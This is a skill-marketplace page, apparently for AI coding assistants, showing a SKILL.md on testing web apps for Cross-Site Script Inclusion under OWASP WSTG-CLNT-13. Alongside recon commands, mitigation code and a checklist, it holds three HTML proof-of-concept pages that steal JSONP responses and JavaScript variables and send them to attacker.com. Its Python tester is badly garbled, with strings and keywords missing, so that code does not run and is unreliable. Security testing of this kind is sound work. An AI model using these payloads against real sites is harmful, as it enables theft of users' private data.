用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-13命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-clnt-13 |
| description | Testing for Cross-Site Script Inclusion (XSSI) |
| category | client-side |
| owasp_id | WSTG-CLNT-13 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-942"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-13
Testing for Cross-Site Script Inclusion (XSSI)
Cross-Site Script Inclusion (XSSI) allows attackers to steal sensitive data by including a victim's JavaScript files as script sources from an attacker-controlled page. This exploits the fact that JavaScript files may contain sensitive user data and are not protected by Same-Origin Policy when loaded as scripts.
#!/bin/bash
TARGET="https://target.com"
# Find JavaScript endpoints
echo "[*] Finding JavaScript files..."
# Check for dynamic JS endpoints
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js[^"]*"' | sort -u
# Check for JSONP endpoints
curl -s "$TARGET" | grep -oP 'callback=[^&"]+' | sort -u
# Test JSON endpoints with script inclusion
curl -s "$TARGET/api/user" -H "Accept: application/javascript"
#!/usr/bin/env python3
"""
XSSI (Cross-Site Script Inclusion) Vulnerability Tester
"""
import requests
import re
urllib.parse urljoin, parse_qs, urlparse
:
():
.base_url = base_url
.findings = []
.session = requests.Session()
():
()
response = .session.get(.base_url)
script_srcs = re.findall(, response.text)
jsonp_patterns = re.findall(, response.text)
endpoints = []
src script_srcs:
full_url = urljoin(.base_url, src)
endpoints.append((, full_url))
endpoints
():
()
callbacks = [, , , , ]
cb_param callbacks:
test_url =
:
response = .session.get(test_url)
response.text:
()
.contains_sensitive_data(response.text):
.findings.append({
: ,
: test_url,
: cb_param,
: ,
:
})
:
.findings.append({
: ,
: test_url,
: cb_param,
: ,
:
})
Exception e:
():
()
response_unauth = requests.get(js_url)
response_auth = .session.get(js_url)
response_auth.text != response_unauth.text:
()
.contains_sensitive_data(response_auth.text):
()
.findings.append({
: ,
: js_url,
: ,
:
})
():
()
response = .session.get(endpoint)
content = response.text.strip()
content.startswith() content.endswith():
()
.contains_sensitive_data(content):
.findings.append({
: ,
: endpoint,
: ,
:
})
():
sensitive_patterns = [
, , , ,
, , , ,
, , , ,
, ,
]
pattern sensitive_patterns:
re.search(pattern, content, re.IGNORECASE):
():
poc =
poc
():
auth_cookies:
.session.cookies.update(auth_cookies)
endpoints = .find_js_endpoints()
endpoint_type, url endpoints:
endpoint_type == :
.test_js_hijacking(url)
common_jsonp = [, , , ]
path common_jsonp:
.test_jsonp_xssi(urljoin(.base_url, path))
json_endpoints = [, , ]
path json_endpoints:
.test_json_array_hijacking(urljoin(.base_url, path))
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
()
()
f[] == :
()
tester = XSSITester()
tester.run_tests(auth_cookies={: })
<!-- Scenario 1: JSONP Data Theft -->
<!DOCTYPE html>
<html>
<body>
<script>
function callback(data) {
// Steal user data
new Image().src = "https://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data))
}
</script>
<script src="https://target.com/api/user?callback=callback"></script>
</body>
</html>
<!-- Scenario 2: JavaScript Variable Theft -->
<!DOCTYPE html>
<html>
<body>
<script src="https://target.com/js/config.js"></script>
<script>
// If config.js sets: var userData = {...}
if (typeof userData !== "undefined") {
fetch("https://attacker.com/log", {
method: "POST",
body: JSON.stringify(userData),
})
}
</script>
</body>
</html>
<!-- Scenario 3: Prototype Manipulation -->
<!DOCTYPE html>
<html>
<body>
<script>
Object.prototype.__defineSetter__("sensitive", function (val) {
fetch("https://attacker.com/log?data=" + encodeURIComponent(val))
})
</script>
<script src="https://target.com/api/user.js"></script>
</body>
</html>
// Browser console - test for XSSI patterns
// 1. Check if endpoint returns valid JavaScript
fetch("/api/user")
.then((r) => r.text())
.then((text) => {
try {
// Check if it's valid JS
new Function(text)
console.log("[!] Endpoint returns executable JavaScript")
} catch (e) {
console.log("[OK] Not executable as JavaScript")
}
})
// 2. Check for JSONP parameters
const jsonpParams = ["callback", "jsonp", "cb", "func", "jsonpcallback"]
jsonpParams.forEach((param) => {
fetch(`/api/data?${param}=test`)
.then((r) => r.text())
.then((text) => {
if (text.includes("test(")) {
console.log(`[!] JSONP parameter found: ${param}`)
}
})
})
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept and analyze responses |
| Browser DevTools | Monitor script loading |
| Custom PoC | Test XSSI exploitation |
| curl | Manual testing |
# Server-side protections
# 1. Avoid JSONP - Use CORS instead
@app.route('/api/user')
def get_user():
# Don't support callback parameter
# Use proper CORS headers instead
response = jsonify(user_data)
response.headers['Access-Control-Allow-Origin'] = 'https://trusted.com'
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
# 2. Add unexecutable prefix to JSON responses
@app.route('/api/data')
def get_data():
data = get_sensitive_data()
# Prefix makes it invalid JavaScript
response = make_response(")]}',\n" + json.dumps(data))
response.headers['Content-Type'] = 'application/json'
response.headers['X-Content-Type-Options'] = 'nosniff'
return response
# 3. Use POST for sensitive data
@app.route('/api/sensitive', methods=['POST'])
def get_sensitive():
# POST requests cannot be made via script src
return jsonify(sensitive_data)
# 4. Validate Content-Type
@app.before_request
def check_content_type():
if request.path.startswith('/api/'):
accept = request.headers.get('Accept', '')
# Reject script-like requests
if 'text/javascript' in accept or '*/*' in accept:
if not request.headers.get('X-Requested-With'):
abort(403)
// Client-side: Strip prefix from responses
async function fetchSecure(url) {
const response = await fetch(url, {
credentials: "include",
headers: {
"X-Requested-With": "XMLHttpRequest",
Accept: "application/json",
},
})
let text = await response.text()
// Remove anti-XSSI prefix
if (text.startsWith(")]}',\n")) {
text = text.substring(6)
}
return JSON.parse(text)
}
| Finding | CVSS | Severity |
|---|---|---|
| JSONP with sensitive user data | 7.5 | High |
| Authenticated JavaScript hijacking | 7.5 | High |
| JSON array with sensitive data | 5.3 | Medium |
| JSONP callback controllable (no sensitive data) | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-352 | Cross-Site Request Forgery (CSRF) |
| CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor |
| CWE-346 | Origin Validation Error |
[ ] Dynamic JavaScript endpoints identified
[ ] JSONP endpoints tested
[ ] Callback parameter manipulation tested
[ ] Authenticated JS content analyzed
[ ] JSON array responses checked
[ ] Sensitive data patterns searched
[ ] PoC created for vulnerabilities
[ ] Findings documented